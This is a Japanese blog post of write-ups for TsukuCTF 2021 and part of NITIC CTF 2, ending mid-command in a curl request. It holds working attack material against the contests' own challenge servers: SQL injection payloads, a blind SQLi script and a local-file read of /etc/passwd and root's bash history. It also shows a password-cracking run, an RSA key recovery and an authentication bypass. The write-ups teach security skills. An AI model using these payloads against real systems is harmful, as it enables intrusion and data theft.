st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

TsukuCTF 2021 writeup

9/11 - 9/12という日程で開催された。ひとりチーム( 'ᾥ' )の🐜として参加して、全完し1位だった。同じくひとりチームの_(:3」∠)_として出たOpen xINT CTF 2020に引き続き、OSINTがメインの大会で優勝できて嬉しい。


Tsukushi

[Tsukushi 100] Welcome (154 solves)

問題文にあるとおり、公式Twitterアカウントの名前を見るだけ。

TsukuCTF{2021}

Rev

[Rev 484] Legacy code (7 solves)

i286のアセンブリが与えられる。読んでいくと、まず最初に変数の初期化をしているらしき箇所がある。

main:
    enterw   $24-2,    $0
    movw $9,    -2(%bp)
    movw $0,    -6(%bp)
    movw $0,    -4(%bp)
    movw $0x28A4, -10(%bp)
    movw $0x4448, -8(%bp)
    movw $0xE148, -14(%bp)
    movw $0x3EBA, -12(%bp)

続いて浮動小数点数の演算。-10(%bp)-14(%bp) を読み込んで加算し、-6(%bp) に格納している。

 .arch pentium
    finit
    fld  -10(%bp)
    fld  -14(%bp)
    faddp    %st(0), %st(1)
    fstp -6(%bp)
    fwait
    .arch i286

演算の結果を printf で出力している。

 movw -6(%bp),    %ax
    movw -4(%bp),    %dx
    leaw -22(%bp),   %cx
    pushw    %dx
    pushw    %ax
    pushw    %cx
    pushw    %ss
    popw %ds
    call __extendsfdf2
    addw $6,    %sp
    movw -22(%bp),   %cx
    movw -20(%bp),   %ax
    movw -18(%bp),   %dx
    movw -16(%bp),   %bx
    pushw    %bx
    pushw    %dx
    pushw    %ax
    pushw    %cx
    pushw    -2(%bp)
    pushw    $.LC0
    pushw    %ss
    popw %ds
    call printf

Cで同じようなことをするコードを書き、実行するとフラグが得られる。

#include <stdio.h>
int main(void) {
  char s[100] = {
    0x48, 0xe1, 0xba, 0x3e,
    0xa4, 0x28, 0x48, 0x44,
    0x00, 0x00, 0x00, 0x00,
    0x09, 0x00
  };
  float x = *(float *)(s) + *(float *)(s + 4);
  printf("PC%d%.0f\n", *(int *)(s + 12), x);
  return 0;
}
$ gcc -o a a.c && ./a
PC9801
TsukuCTF{PC9801}

Network

[Network 464] genesis (10 solves)

ぶろっくちぇーんえくすぷろーらーなるよくわからんWebアプリケーションのURLを渡される。APIの使い方が書かれているページを眺めていると、"メッセージはトランザクション(tx)に埋め込まれています" というヒントで言及されているトランザクションを取得できるらしいAPIがあることがわかった。

f:id:st98:20210912055058p:plain

とりあえず前者の /api/getrawtransaction?txid=f44d8ca0b6e787c2193297aec523d685bc0ab5a38eca5a0b014c5a679507b13e&decrypt=0 にアクセスしてみると、以下のようなデータが返ってきた。

01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff2804ffff001d0104205473756b754354467b323032315f30395f31315f47454e455349535f544b437dffffffff0100f2052a01000000434104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000

5473756b754354467b323032315f30395f31315f47454e455349535f544b437d がめっちゃASCIIの文字列っぽいのでデコードしてみるとフラグが得られた。

TsukuCTF{2021_09_11_GENESIS_TKC}

Crypto

[Crypto 436] CrackSSH! (13 solves)

ssh-rsa AAAA… というような形式の公開鍵が渡される。 適当にググるこれがどのような構造を持っているか紹介している記事が見つかるので、それを参考にしつつ ne を取り出す。

n = 0x201f98fba8e6f71bcd89b9d92c8a00bc856fd467e56e34390282a9e76c8fabede746bd4dd5a6a55e11d5d695dcc1ad72adaf35f83143b2ee1b7693c2edfdb9a4bae205929a48d4fb2b4fac45074fe748816988ec1760b283c1e3a1e19a5d5921ddb3b0d95d96c14b14e2a12bf538cf6ccceb082c6414340f9f03b09a259033c19

e = 0x16280d61623baf8718b00862ac1be9db2e3fe2632ea947092491aeb827a2fe54b3e9e0adc95524441339b3b405b18e48463a57a8977bf30d1a91d89fb89d254e23d1612728817528040a65c96288c6552539e9b08c75ccac124298573e5ed3ec50023643ae8b699be153d1501dc1d5ae64cebccd963c0c4f47daea3d75a1c27ff

e がやたらデカいのでWiener's Attackっぽいorisano/owienerで殴るとd23740595481413555083001316385586537295798010164154043863363374388086679976575 とわかる。ius/rsatoolでPEM形式の秘密鍵を作ってSSHサーバに接続するとフラグが得られた。

$ ssh tsukushi@… -p 30022 -i private.pem 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.11.0-34-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Sep 11 06:22:16 2021 from …
$ ls
flag.txt
$ cat flag.txt
TsukuCTF{D0nt_use_w34k_RS4_key_generat10n}

Misc

[Misc 100] TORItsukushi (90 solves)

たぬき。TSUKUSHI が含まれている限り削除し続けるスクリプトを書く。

with open('many_tsukushi.txt', 'r') as f:
  s = f.read()

while 'TSUKUSHI' in s:
  s = s.replace('TSUKUSHI', '')

print(s)
TsukuCTF{Would_you_like_some_fresh-baked_Tsukushi?}

[Misc 100] Customization (98 solves)

GoogleスプレッドシートのURLが与えられる。真ん中の何も書かれていないように見えるセルにフラグが書かれていた。

f:id:st98:20210912060353p:plain

TsukuCTF{yak1n1ku_ta6eta1}

[Misc 244] discriminate (25 solves)

GPT-2から文章を生成したので、与えられた文章のうちどこからどこまでが元の文章か特定してくれという問題。与えられた文章の一部の「握るだけで解錠できるスマートドアハンドルを開発した」でググると、元の文章が含まれているポスターがヒットする。与えられた文章と元の文章を比較すればよい。

TsukuCTF{パターンを}

Hardware

[Hardware 100] CAD (82 solves)

STLファイルが与えられる。"STL viewer online" みたいな感じでググって出てきたビュアーに投げると読める。

f:id:st98:20210912060822p:plain

TsukuCTF{ILIK3B3ar}

[Hardware 100] Ltika (49 solves)

ino という拡張子のファイルが与えられる。内容はこんな感じ:

void setup() {
  // initialize digital pin LED_BUILTIN as an output.
  pinMode(LED_BUILTIN, OUTPUT);
}

void blinking(){
  digitalWrite(LED_BUILTIN, HIGH);   
  delay(500);
  digitalWrite(LED_BUILTIN, LOW);    // turn the LED off by making the voltage LOW
  delay(300);                       // wait for a second  
}
void lit(){
  digitalWrite(LED_BUILTIN, HIGH);   // turn the LED on (HIGH is the voltage level)
  delay(2000);                       // wait for a second
  digitalWrite(LED_BUILTIN, LOW);    // turn the LED off by making the voltage LOW
  delay(300);                       // wait for a second  
}

void wait(){
  digitalWrite(LED_BUILTIN, LOW);
  delay(1200); 
}
// the loop function runs over and over again forever
void loop() {
  blinking();
  wait();

  lit();
  blinking();
  wait();
  
  blinking();
  lit();
  lit();
  lit();
  wait();

//…

  delay(3000);
}

どう見てもモールス信号。適当に普通のモールス信号に変換するスクリプトを書く。

s = '''  blinking();
  wait();

  lit();
  wait();'''

s = s.replace('\n', '').replace(' ', '').split(';')
print(''.join({
  'blinking()': '.',
  'lit()': '-',
  'wait()': ' ',
  '': ''
}[c] for c in s))

デコードするとフラグが得られた。

TsukuCTF{ENJ0YHARDWARE!}

[Hardware 152] PCB (29 solves)

gtlgm1gbl といった拡張子のファイルが含まれるZIPファイルが与えられる。ZIPファイルの名前には GerBer が含まれている。"Gerber viewer online" でググって出てきたビュアーに投げると読める。

f:id:st98:20210912061116p:plain

これははくちょう座。英語名にするとフラグが得られた。

TsukuCTF{CYGNUS}

Web

[Web 100] digits (63 solves)

以下のようなコードが与えられている。

@app.get("/")
def main(q: Optional[str] = None):
    if q == None:
        return {
            "msg": "please input param 'q' (0000000000~9999999999).  example: /?q=1234567890"
        }
    if len(q) != 10:
        return {"msg": "invalid query"}
    if "-" in q or "+" in q:
        return {"msg": "invalid query"}
    try:
        if not type(int(q)) is int:
            return {"msg": "invalid query"}
    except:
        return {"msg": "invalid query"}

    you_are_lucky = 0

    for _ in range(100):
        idx = random.randrange(4)
        if q[idx] < "0":
            you_are_lucky += 1
        if q[idx] > "9":
            you_are_lucky += 1

    if you_are_lucky > 0:
        return {"flag": FLAG}
    else:
        return {"msg": "Sorry... You're unlucky."}

type(int(q)) はスペースで埋めることで回避できる。/digits?q=%20%20%20%20%20%20%20%20%201 でフラグが得られた。

TsukuCTF{you_are_lucky_Tsukushi}

[Web 100] Login (79 solves)

ログインフォームが与えられる。ログインといえばSQLiなので、パスワードに ' or 1;# を入力してみるとフラグが得られた。

TsukuCTF{You_4r3_SUP3R_H4CKER}

[Web 323] Login 2 (21 solves)

ログインフォームが与えられる。Loginに修正が入り、ただログインするだけではフラグが得られなくなった。ただ、ログインしたユーザ名は表示してくれるので、UNION 句で別のテーブルのデータを引っ張ってこれる。' union select @@version, 2;#8.0.26 としてログインできた。8.0.26ググるMySQLのバージョンであることがわかる。

MySQLでは information_schema.tables というテーブルからテーブルに関するデータが取得できる。' union select table_name, 2 from information_schema.tables;#super_secret_tableuser_table というテーブルがあることがわかった。

続いて information_schema.columns というテーブルを使って、' union select column_name, 2 from information_schema.columns where table_name='super_secret_table';#super_secret_table テーブルには idsecret というカラムがあることがわかった。あとは super_secret_table からデータを取り出すだけ。' union select secret, 2 from super_secret_table;# でフラグが得られた。

TsukuCTF{50_muCh_GR3AT_Hacker_!ND3ED}

[Web 472] Login 3 (9 solves)

ログインフォームが与えられる。Login 2に修正が入り、今度はログインの成否だけしか情報が与えられなくなった。ただ、この「ログインの成否」から1ビットずつ情報を得るBlind SQLiはまだ有効だ。Pythonスクリプトを書く。

import requests

def query(q):
  r = requests.post('https://tsukuctf.sechack365.com/problems/login3/login.php', data={
    'username': 'hoge',
    'password': q
  })
  return 'ようこそ' in r.text

i = 1
res = ''
while True:
  c = 0
  for j in range(7):
    if query(f"' or ord(substr(version(), {i}, 1)) & {1 << j};#"):
      c |= 1 << j
  res += chr(c)
  print(i, res)
  i += 1

あとはLogin 2と同じ手順でテーブル名とカラム名を抜き出し、得られた秘密のテーブルからフラグが得られた。

TsukuCTF{U_Are_Geni0us_T$UKUSH1}

[Web 100] logonly (31 solves)

アクセスログが与えられている、が214153行の XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:00] "POST / HTTP/1.1" 401 - というログの後に XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:01] "POST / HTTP/1.1" 200 - とログインに成功したであろうログがある以外には情報はない。

問題文によれば「Kali Linuxの中のツールとファイルを使ったらrootで簡単にログインできた」らしい。インストールされている辞書で辞書攻撃でもしたのだろうか。rockyou.txt の214154行目は qwertyuiop[]\\ だ。これを提出すると正解だった。

TsukuCTF{qwertyuiop[]\\}

[Web 372] Journey (18 solves)

与えられたURLにアクセスすると、複数回のリダイレクトの後に /problems/journey/goal に飛ばされたが、"Did you check your status?" と怒られてしまった。"status" とはHTTPステータスコードのことだろうか。見てみると、"405 Method Not Allowed" が返ってきていた。

GET以外のメソッドならどうだろう。OPTIONS を試してみると、以下の9種類のメソッドを受け付けているらしいとわかった。

$ curl -i https://tsukuctf.sechack365.com/problems/journey/goal -X OPTIONS
HTTP/1.1 204 No Content
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:19:50 GMT
Connection: keep-alive
Allow: OPTIONS, GET, HEAD, POST, PUT, DELETE, CONNECT, TRACE, PATCH

片っ端から試していると、CONNECT のときに以下のようなメッセージが表示された。リファラがダメらしい。

$ curl -i https://tsukuctf.sechack365.com/problems/journey/goal -X CONNECT
HTTP/1.1 405 Method Not Allowed
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:20:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 154
Connection: keep-alive

<head><meta http-equiv='refresh' content=' 5; url=/'></head><body><h1>Where are you from?</h1><p>I think you have come from fraudulent referer.</p></body>

リファラにそれっぽいURLを入れてやるとフラグが得られた。

$ curl -i https://tsukuctf.sechack365.com/problems/journey/goal -X CONNECT -H "Referer: https://tsukuctf.sechack365.com/problems/journey/railway/1"
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:21:00 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 40
Connection: keep-alive

<h1>TsukuCTF{H0w_wa5_y0ur_j0urney?}</h1>
TsukuCTF{H0w_wa5_y0ur_j0urney?}

[Web 495] gyOTAKU (4 solves)

以下のようなソースコードが与えられた。URLを与えると requests によってそのコンテンツが取得され、(ランダムに生成された文字列).html というファイルにそれを保存した上でChromiumで開き、スクリーンショットを保存する。二度手間ではないか。

import io
import os
import random
import string
import requests
import subprocess
from flask import Flask, render_template, request, send_file

app = Flask(__name__)

def sanitize(text):
    #RCE is a non-assumed solution. <- This is not a hint.
    url = ""
    for i in text:
        if i in string.digits + string.ascii_lowercase + string.ascii_uppercase + "./_:":
            url += i
    if (url[0:7]!="http://") and (url[0:8]!="https://"):
        url = "https://www.google.com"
    return url

@app.route("/")
def gyotaku():
    filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(15)])
    url = request.args.get("url")
    if not url:
        return "<font size=6>🐟gyOTAKU🐟</font><br><br>You can get gyotaku: <strong>?url={URL}</strong><br>Sorry, we do not yet support other files in the acquired site."
    url = sanitize(url)
    html = open(f"{filename}.html", "w")
    try:
        html.write(requests.get(url, timeout=1).text + "<br><font size=7>gyotakued by gyOTAKU</font>")
    except:
        html.write("Requests error<br><font size=7>gyotakued by gyOTAKU</font>")
    html.close()
    cmd = f"chromium-browser --no-sandbox --headless --disable-gpu --screenshot='./gyotaku-{filename}.png' --window-size=1280,1080 '{filename}.html'"
    subprocess.run(cmd, shell=True, timeout=1)
    os.remove(f"{filename}.html")
    png = open(f"gyotaku-{filename}.png", "rb")
    screenshot = io.BytesIO(png.read())
    png.close()
    os.remove(f"gyotaku-{filename}.png")
    return send_file(screenshot, mimetype='image/png')

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=9000)

問題文によれば、このスクリプトを実行しているユーザは root であり、またフラグはローカルに存在しているらしい。フラグのファイル名は乱数を生成して決めたそうだから、まずはその名前を特定する必要がある。

location.href = "file:///" のようなJavaScriptコードを実行させて file:/// などにリダイレクトさせればファイルの一覧が得られるのではないかとまず考えたが、なぜかChromiumは真っ白なページを返してしまう。では特定のファイルならばどうかと location.href = "/etc/passwd" を試したところ、その内容が表示された。

他に見るべきファイルがあるか悩んでいたが、もしかしたら root のホームディレクトリに何かあるかもしれないと思いついた。試しに /root/.bash_history を読んでみるとビンゴ、フラグのファイル名がわかった。

f:id:st98:20210912064057p:plain

これを読むとフラグが得られた。

f:id:st98:20210912064101p:plain

TsukuCTF{Tsukushi_to_Sugina_no_chigai_ga_wakaran}

OSINT

[OSINT 100] ramen (93 solves)

ラーメンの画像が与えられるので、そのラーメン店の本店のInstagramのIDを特定する問題。Yandexで画像検索すると銀座篝がヒットした。

TsukuCTF{kagari_honten}

[OSINT 100] shop (83 solves)

イオンモールを外から撮影したと思われる動画が与えられる。トヨタカローラの店舗があること、また湖もしくは海の近くに立地していることがわかる。"イオンモール トヨタカローラ" でググってみるとイオンモール幕張新都心イオンモール草津店、イオンモール大和などの店舗がヒットした。動画と外観や立地が一致しているのはイオンモール草津店だ。

TsukuCTF{イオンモール草津}

[OSINT 100] train (84 solves)

駅構内の写真が与えられる。5番線が山手線、6番線が京浜東北線という情報がまず目に入る。問題文からリンクされている東京近郊路線図を見ると山手線と京浜東北線が並走している区間は田端~品川であるとわかる。この間の駅で5番線が山手線、6番線が京浜東北線であるのは新橋駅だ。

TsukuCTF{Shimbashi}

[OSINT 100] YUGEN (47 solves)

SLが走る様子を撮影した動画が与えられるので、撮影された駅を答えよという問題。SLの側面に「SL人吉」と書かれており、これで路線がある程度絞れる。前面に「無限」と書かれたプレートが付けられているが、これは「SL無限列車」だろう。SLはしばらく高架下を走っているが、後にSLが走る線路と高架は分かれていく。さらに、動画ファイルには2020年11月3日13時44分に撮影されたという情報が残っている:

f:id:st98:20210912070638p:plain

動画が撮影された時間帯にこのSLがどこを走っていたか特定していく。まずJR九州リリースを確認すると、この日の運行区間は熊本→博多であることがわかる。熊本発8:35~博多着13:04らしく、撮影地は博多駅からそう離れてはいないだろうとわかる。Twitterでもなにか情報が得られないか "until:2020-11-03_14:00:00_JST SL lang:ja" で探すと、まさに目撃された駅と時刻が書かれたツイートが見つかった。竹下駅をGoogleマップで確認してみると、たしかに線路が高架下を通り、後に高架と分かれていく。また、動画で正面に見えていた特徴的な黄色の建物も見える。ここだ。

TsukuCTF{Takeshita}

[OSINT 100] Beach (80 solves)

おそらく海岸で撮影された2枚の写真から最寄り駅を特定しろという問題。Bingで画像検索すると大変よく似た構図の写真を含むページが出てきた。「オフィスの目の前には海が広がる」というキャプションが付いており、またそのオフィスの住所も書かれている。その最寄り駅は茅ヶ崎駅だ。

TsukuCTF{Chigasaki}

[OSINT 100] tram (43 solves)

海外で撮影された写真の撮影地を答えろという問題。写真と問題名からまずトラムの駅だとわかる。写真の左側に「ČSOB」と書かれているが、これでググるチェコスロバキア貿易銀行の建物だとわかる。チェコもしくはスロバキアのトラムだろうか。

Wikipediaチェコスロバキアにあった、または現在チェコかスロバキアにある路面電車の一覧がある。まあ、プラハブラチスラヴァだろう。トラムの前面には「5」と表示されている。Wikipediaによれば、ブラチスラヴァ市電には5番系統がないがプラハ市電にはあるらしい。プラハ市電の5番系統を総当たりしていこう。WikiRoutesなるサイトNAVITIME Transitでトラムの駅を参照しつつ、Googleマップで「ČSOB」と調べて駅の近くにあるものがないか探していく。「Anděl」という駅がピッタリだった。

TsukuCTF{Anděl}

[OSINT 100] Tsukushi_no_email1 (44 solves)

TsukuCTFのメールアドレスのアイコンにフラグがあるので、それを見つけろという問題。ルールページtsukuctf@gmail.comGmailのメールアドレスが書かれている。Gmailのメールボックスでそのメールアドレスを検索するとアイコンが出てきた

TsukuCTF{Google_kingdom}

[OSINT 100] Tsukushi_no_email2 (40 solves)

Tsukushi_no_email1で得られたメールアドレスをヒントに予定表を手に入れろという問題。Gmailを使っているということは、おそらくその予定表というのはGoogleカレンダーのことを指しているのだろう。カレンダーの埋め込み用のURLをいじって、https://calendar.google.com/calendar/embed?height=600&wkst=1&bgcolor=%23FFFFFF&color=%232952A3&color=%23711616&src=tsukuctf@gmail.com&color=%231B887A&ctz=Asia/Tokyo で予定表が見られた。9/11の12:00の予定にフラグが書かれていた。

TsukuCTF{Horsetail_is_delicious}

[OSINT 100] cafe (37 solves)

@7aru7aruさんという方がハマっているメイドカフェを特定する問題。まず "from:7aru7aru メイド" で検索してみるも、特定のメイドカフェに関する言及は見つからない。なにか有益な画像はないかメディア欄を開いてみるが、YouTubeの動画へのリンクばかりで肝心の画像が埋もれてしまっている。"from:7aru7aru filter:images" で画像に絞ってツイートを眺めていくと、大変それっぽい画像が見つかった。

メイドさんのポケットには「No.1メイドカフェグループ」と書かれており、これをググるめいどりーみんというメイドカフェがヒットする。全国展開しているメイドカフェなので、先ほどの写真がどの店舗で撮影されたか特定しなければならない。店舗情報を見ていくと、幸いなことに店舗ごとに内装が大きく異なっていることがわかる。秋葉原 中央通り店の内装がまさにそれだった。

TsukuCTF{https://maidreamin.com/shop/detail.html?id=5}

[OSINT 100] train2 (60 solves)

駅のプラットフォームで撮られた写真から撮影地を特定しろという問題。画像中央やや右にある柱をよく見ると「出町柳9号」と書かれている。「出町柳9号」でググるとこれは叡山電車出町柳元田中間(というか元田中駅)にある踏切を指すとわかる。

TsukuCTF{元田中}

[OSINT 100] fishing (77 solves)

写真の撮影地を特定しろという問題。目の前に特徴的な橋が写っており、Bingで検索すると東京ゲートブリッジとわかる。"東京ゲートブリッジ 釣り場" で検索すると若洲海浜公園とわかる。

TsukuCTF{若洲海浜公園}

[OSINT 100] dam (55 solves)

貯水湖で撮られた写真から撮影地を特定しろという問題。よく見ると画像中央やや右に特徴的な橋が見える。

f:id:st98:20210912073518p:plain

"貯水湖 橋" で画像検索すると南河内橋がヒットした。この橋が架かっているのは河内貯水池だ。

TsukuCTF{河内貯水池}

[OSINT 285] park (23 solves)

写真の撮影地を特定しろという問題。かなりの都会っぽい。特徴的な建物がないか探していく。まず画像の右側に、かなり小さいがスーパーマーケットのロゴらしきものが見える。拡大してBingで検索すると「サンリブ」という名前でよく似たロゴを持ったスーパーマーケットの写真がヒットした。ググると、どうやら「マルショク」というスーパーマーケットもよく似たロゴらしい。どちらもサンリブグループのスーパーマーケットで、店舗情報を見ると広島、山口、福岡、佐賀、大分、熊本、宮崎に展開していることがわかる。

f:id:st98:20210912074046p:plain

写真の左側にはなにやら明るく光っているものが見える。スタジアムや球場だろうか。

f:id:st98:20210912074316p:plain

スタジアムらしきもののさらに左には新幹線が見える。新幹線の沿線となるとかなり絞り込めるはずだ。

f:id:st98:20210912074435p:plain

サンリブグループのスーパーマーケットのやや左奥をよく見ると、ゴルフの打ちっ放しの練習場らしきものの後ろ側に、山の中にあるらしい白い何かと斜面が見える。雑に「(県名) 山 白い」にサンリブグループの展開する県名を入れてググっていくと、どうやらこれは広島の二葉山にある平和塔(仏舎利塔)らしいとわかる。

f:id:st98:20210912074533p:plain

写真の撮影地が広島であることがわかったので、Googleマップを使って特徴的な建造物の名前を特定していく。画像中央の特徴的な高層ビルは左からシティタワー広島、グランクロスタワー広島だろう。さっきのスタジアムはマツダスタジアムだ。

f:id:st98:20210912075137p:plain

手前に見える学校らしきものは府中町立府中中学校だろう。

f:id:st98:20210912075443p:plain

最後に、ここまで特定した建物が写真のように写る場所を探す。一番手前に見える以下の特徴的な建物を目印に探すと、撮影地は瀬戸ハイム第一児童遊園地だとわかった。

f:id:st98:20210912075515p:plain

TsukuCTF{瀬戸ハイム第一児童遊園地}

[OSINT 323] OBOG (21 solves)

SecHack365非公式サイトが改ざんされたので、その改ざんされた内容を探せという問題。"SecHack365非公式サイト" で検索するとそれっぽいWebサイトがヒットする。DevToolsを開きつつコンテンツを片っ端から見ていると、/timer/ でコンソールに Please decode! → VHN1a3VDVEZ7aHR0cHM6Ly9zZWNoYWNrMzY1Lm5pY3QuZ28uanB9 と出力された。これをBase64デコードするとフラグが得られた。

TsukuCTF{https://sechack365.nict.go.jp}

[OSINT 340] InterPlanetary Protocol (20 solves)

問題文によると、以下の3つの文字列はすべて「特殊なウェブサイトのURL」らしい。59文字だからTorのV3アドレスにしては3文字多いしなんだろう、と思っていたところで問題名に「InterPlanetary」が含まれていることに気づく。InterPlanetary File System(IPFS)だ。

  • bafybeieozcigchzmmpjzlct5eti4xhqexjnolpuehsnk2ckeaiqfqfqilu
  • bafybeifvtvmitvebs6ktbaqqhort2h76xfen4zj65bujq7xos2zzxdvwga
  • bafybeidtzxolknnds6k2ny6s6rgvbm7t7gopwyfgvyblfjdw6m6og2vsxm

docker run --rm -d ipfs/go-ipfs して docker exec -it … sh でこれらのファイルを表示する。

/ # ipfs cat bafybeieozcigchzmmpjzlct5eti4xhqexjnolpuehsnk2ckeaiqfqfqilu
TsukuCTF{IPFS_
/ # ipfs cat bafybeifvtvmitvebs6ktbaqqhort2h76xfen4zj65bujq7xos2zzxdvwga
_is_the_
/ # ipfs cat bafybeidtzxolknnds6k2ny6s6rgvbm7t7gopwyfgvyblfjdw6m6og2vsxm
future}

フラグが得られた。

TsukuCTF{IPFS_is_the_future}

[OSINT 372] WildTsukushis (18 solves)

黄色い恐竜とつくしの生えた山の遊具が写った写真が与えられるので、撮影地を答えろという問題。GoogleやBingでそのまま画像検索するも見つからない。Googleレンズでつくしの遊具を切り取って検索するとそれっぽい写真を含んだ記事が見つかる。

TsukuCTF{御浜海水浴場}

[OSINT 372] uiui (18 solves)

パスワード付きZIPが与えられる。このZIPは「一般に決められた方法で検体を送ってもら」ったということだが、PPAPのことだろう。John the Ripperでクラックできた。

$ zip2john Virus.zip > Virus.john
ver 2.0 efh 5455 efh 7875 Virus.zip/Virus PKZIP Encr: 2b chk, TS_chk, cmplen=2511, decmplen=16696, crc=ED9F71AA
$ john Virus.john --wordlist=/usr/share/dict/words
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Warning: OpenMP is disabled; a non-OpenMP build may be faster
Press 'q' or Ctrl-C to abort, almost any other key for status
infected         (Virus.zip/Virus)
1g 0:00:00:00 DONE (2021-09-11 09:42) 50.00g/s 2825Kp/s 2825Kc/s 2825KC/s infarction..infields
Use the "--show" option to display all of the cracked passwords reliably
Session completed

展開されたファイルはただのELFだが、これはどういうことだろうか。問題文には「解析にあたってマズイことをしてしまいました」「彼は感染したことをほかの人に知られたくないようです」とある。何も考えずにVirusTotalなどに投げてしまったということだろうか。

VirusTotalでこのELFのハッシュ値を検索するとヒットした。ファイル名にフラグが書かれている。

TsukuCTF{Careless_uploading_is_dangerous}

[OSINT 464] udon (10 solves)

カレーうどんの写真が与えられるので、撮影された店舗を答える問題。Googleレンズで検索すると「えん家」が見つかる。

TsukuCTF{@sanukiudonenya}

NITIC CTF 2 writeup

9/5 - 9/6という日程で開催された。zer0ptsで参加して1位。


[Web 300] password (46 solves)

以下のようなコードが与えられた。ランダムに生成されたパスワードを /flag に与えるとフラグが得られるらしい。0oO のような紛らわしい文字は打ち間違えても大丈夫らしい。

from flask import Flask, request, make_response
import string
import secrets

password = "".join([secrets.choice(string.ascii_letters) for _ in range(32)])

print("[INFO] password: " + password)

with open("flag.txt") as f:
    flag = f.read()


def fuzzy_equal(input_pass, password):
    if len(input_pass) != len(password):
        return False

    for i in range(len(input_pass)):
        if input_pass[i] in "0oO":
            c = "0oO"
        elif input_pass[i] in "l1I":
            c = "l1I"
        else:
            c = input_pass[i]
        if all([ci != password[i] for ci in c]):
            return False
    return True

app = Flask(__name__)

@app.route("/")
def home():
    html = """
  <!DOCTYPE html>
  <html lang="en">
  <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <title>test page</title>
  </head>
  <body>
      <h1>Do you want the flag?</h1>
      <p>password: <input type="text" id="password"></p>
      <p><button id="submit">Submit</button></p>
      <pre id="response"></pre>

      <script>
          document.getElementById("submit").onclick = () => {
              const data = {"pass": document.getElementById("password").value}
              fetch('/flag', {
                  method: 'POST',
                  headers: {
                      'Content-Type': 'application/json',
                  },
                  body: JSON.stringify(data),
              })
              .then(async (res) => document.getElementById("response").innerHTML = await res.text())
          };
      </script>
  </body>
  </html>
  """
    return make_response(html, 200)

@app.route("/flag", methods=["POST"])
def search():
    if request.headers.get("Content-Type") != 'application/json':
        return make_response("Content-Type Not Allowed", 415)

    input_pass = request.json.get("pass", "")
    if not fuzzy_equal(input_pass, password):
        return make_response("invalid password", 401)
    return flag


app.run(port=8080)

fuzzy_equal の処理をよく見てみると、あいまい検索の実装は c = input_pass[i] からの all([ci != password[i] for ci in c]) によって行われていることがわかる。/flagJSONを受け付けているから、input_pass[i] に配列を入れることもできる。string.ascii_letters で埋め尽くされた配列を渡せば、c には string.ascii_letters が入り、また password[i] は必ず string.ascii_letters の中に含まれるから、fuzzy_equalTrue を返すはずだ。以下のコマンドを実行するとフラグが得られた。

#!/bin/bash
curl 'http://34.146.80.178:8001/flag' \
  -H 'Content-Type: application/json' \
  --data-raw '{"pass":["abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzAB